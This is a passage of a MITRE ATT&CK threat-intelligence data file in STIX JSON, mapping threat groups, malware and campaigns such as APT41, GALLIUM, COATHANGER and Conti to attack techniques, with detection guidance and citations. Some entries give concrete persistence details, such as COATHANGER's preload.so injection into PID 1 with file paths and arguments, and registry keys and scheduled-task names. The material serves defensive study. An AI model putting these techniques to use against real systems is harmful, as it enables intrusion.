"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}, {"source_name": "CSM Elderwood Sept 2012", "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"}], "modified": "2021-01-06T19:32:28.688Z", "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open links.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8968bf11-5ba9-4012-a277-4a40ed796fbf", "type": "relationship", "created": "2020-10-02T16:32:33.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T16:32:33.229Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", "target_ref": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89697f9e-cfd2-4273-a5d6-04354f0c3e7c", "type": "relationship", "created": "2021-01-13T21:16:05.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-13T21:16:05.204Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used [PsExec](https://attack.mitre.org/software/S0029) to move laterally between hosts in the target network.(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89698142-6c48-465f-9e61-0146d0fa481a", "type": "relationship", "created": "2019-06-05T13:20:24.822Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}], "modified": "2019-06-24T18:57:11.306Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has a module for performing remote desktop access.(Citation: Fidelis njRAT June 2013)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. 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(2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T15:46:36.978Z", "description": "[VaporRage](https://attack.mitre.org/software/S0636) has the ability to download malicious shellcode to compromised systems.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--96eca9b9-b37f-42f1-96dc-a2c441403194", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8977c8db-64e4-44b5-bee9-362779624a42", "type": "relationship", "created": "2020-07-27T15:20:50.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}], "modified": "2020-10-02T17:23:24.467Z", "description": "[Pillowmint](https://attack.mitre.org/software/S0517) can iterate through running processes every six seconds collecting a list of processes to capture from later.(Citation: Trustwave Pillowmint June 2020)\t", "relationship_type": "uses", "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--898211c4-915c-469f-be47-321d2d44af90", "type": "relationship", "created": "2020-12-22T17:48:21.059Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2020-12-22T17:48:21.059Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has used rundll32.exe to execute a loader.(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8982affe-fe2b-40c8-8b0c-e539687f4124", "type": "relationship", "created": "2020-05-29T19:31:03.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-05-29T19:31:03.872Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) has the ability to execute a PowerShell script to get information from the infected host.(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--898416fc-2061-47ae-a642-25442906a2d8", "type": "relationship", "created": "2021-09-09T14:26:24.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.242Z", "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to recursively enumerate files on an infected endpoint.(Citation: Talos Oblique RAT March 2021)", "relationship_type": "uses", "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89871b65-3850-440a-8a6b-4ed78a24b13d", "created": "2024-02-16T17:07:21.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.", "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-01T15:56:04.782Z", "description": "[COATHANGER](https://attack.mitre.org/software/S1105) copies the malicious file <code>/data2/.bd.key/preload.so</code> to <code>/lib/preload.so</code>, then launches a child process that executes the malicious file <code>/data2/.bd.key/authd</code> as <code>/bin/authd</code> with the arguments <code>/lib/preload.so reboot newreboot 1</code>.(Citation: NCSC-NL COATHANGER Feb 2024) This injects the malicious preload.so file into the process with PID 1, and replaces its reboot function with the malicious newreboot function for persistence.", "relationship_type": "uses", "source_ref": "malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89887815-acfc-42f9-9172-81437cf9ff69", "type": "relationship", "created": "2019-06-21T16:21:55.301Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", "description": "Microsoft. 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Retrieved April 25, 2017.", "source_name": "Microsoft Securing Privileged Access"}], "modified": "2022-03-17T12:39:56.473Z", "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. 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Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T18:25:02.397Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can use RSA-4096 to encrypt data sent to its C2 server.(Citation: MalwareBytes WoodyRAT Aug 2022) ", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8990db18-edc0-4634-b62f-840baf1dd231", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T20:56:57.045Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts, look for connections to/from strange ports, as well as reputation of IPs and URLs related cryptocurrency hosts. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8996ab0b-8bc5-4c17-9bd5-a29b6c771f62", "created": "2022-12-20T19:51:29.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-25T21:09:14.791Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used file names beginning with USERS, SYSUSER, and SYSLOG for [DEADEYE](https://attack.mitre.org/software/S1052), and changed [KEYPLUG](https://attack.mitre.org/software/S1051) file extensions from .vmp  to .upx likely to avoid hunting detections.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--899c49f0-4a1b-44d8-81e6-fd927a252bd6", "created": "2023-09-27T14:29:27.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Charles McLellan March 2016", "description": "Charles McLellan. (2016, March 4). How hackers attacked Ukraine's power grid: Implications for Industrial IoT security. Retrieved September 27, 2023.", "url": "https://www.zdnet.com/article/how-hackers-attacked-ukraines-power-grid-implications-for-industrial-iot-security/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T15:34:08.205Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used [BlackEnergy](https://attack.mitre.org/software/S0089)\u2019s network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid\u2019s industrial control systems. (Citation: Charles McLellan March 2016)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--899f5d50-95bf-47e6-a95a-cb6e46a4c9bd", "type": "relationship", "created": "2021-10-15T19:48:30.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T19:48:30.398Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89a3764f-0695-4121-9298-fe25d98dffe1", "created": "2024-02-15T13:45:20.908Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T13:45:20.908Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89aa1b4b-e801-41f7-b32b-16dc6dbb1032", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89adc7a4-e19c-451f-8008-b728a7c0f407", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89b157e1-3972-421e-87c9-f9e83b26ec90", "type": "relationship", "created": "2019-03-12T16:19:09.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}], "modified": "2021-01-25T15:43:46.054Z", "description": "(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89baa1ed-a6f9-4da6-9448-c74d8f8a638b", "created": "2022-04-11T17:11:34.203Z", "revoked": false, "external_references": [{"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.084Z", "description": "[RCSession](https://attack.mitre.org/software/S0662) can gather system owner information, including user and administrator privileges.(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "malware--03acae53-9b98-46f6-b204-16b930839055", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89bcfd5b-376a-4191-9b49-553001df844f", "created": "2022-09-21T21:02:52.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T21:23:03.770Z", "description": "[SUGARDUMP](https://attack.mitre.org/software/S1042) has created scheduled tasks called `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` and `MicrosoftEdgeCrashRepoeterTaskMachineUA`, which were configured to execute `CrashReporter.exe` during user logon.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89bd0965-1256-4725-9b34-29be35fbb879", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Pfammatter - Hidden Inbox Rules", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"}, {"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T13:27:10.066Z", "description": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\n\nIn environments using Exchange, monitor logs for the creation or modification of mail transport rules.  ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89bd934f-2d0b-487e-9235-138403b91267", "type": "relationship", "created": "2020-05-18T21:01:51.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.278Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used a script to gather the IP address of the infected machine before sending to the C2.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--89bd9b10-f1cb-4569-977c-784cbfbb23e1", "created": "2022-09-29T20:28:35.468Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T20:28:35.468Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Conti](https://attack.mitre.org/software/S0575) ransomware to encrypt a compromised network.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89bed5a5-b40c-4d27-87c7-a077d1cb2e59", "type": "relationship", "created": "2020-11-06T19:39:44.095Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2021-04-22T13:40:21.236Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key to execute logon scripts.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89c060ad-cec7-4ffb-85aa-8670c8dabeda", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 DarkHydrus Jan 2019", "url": 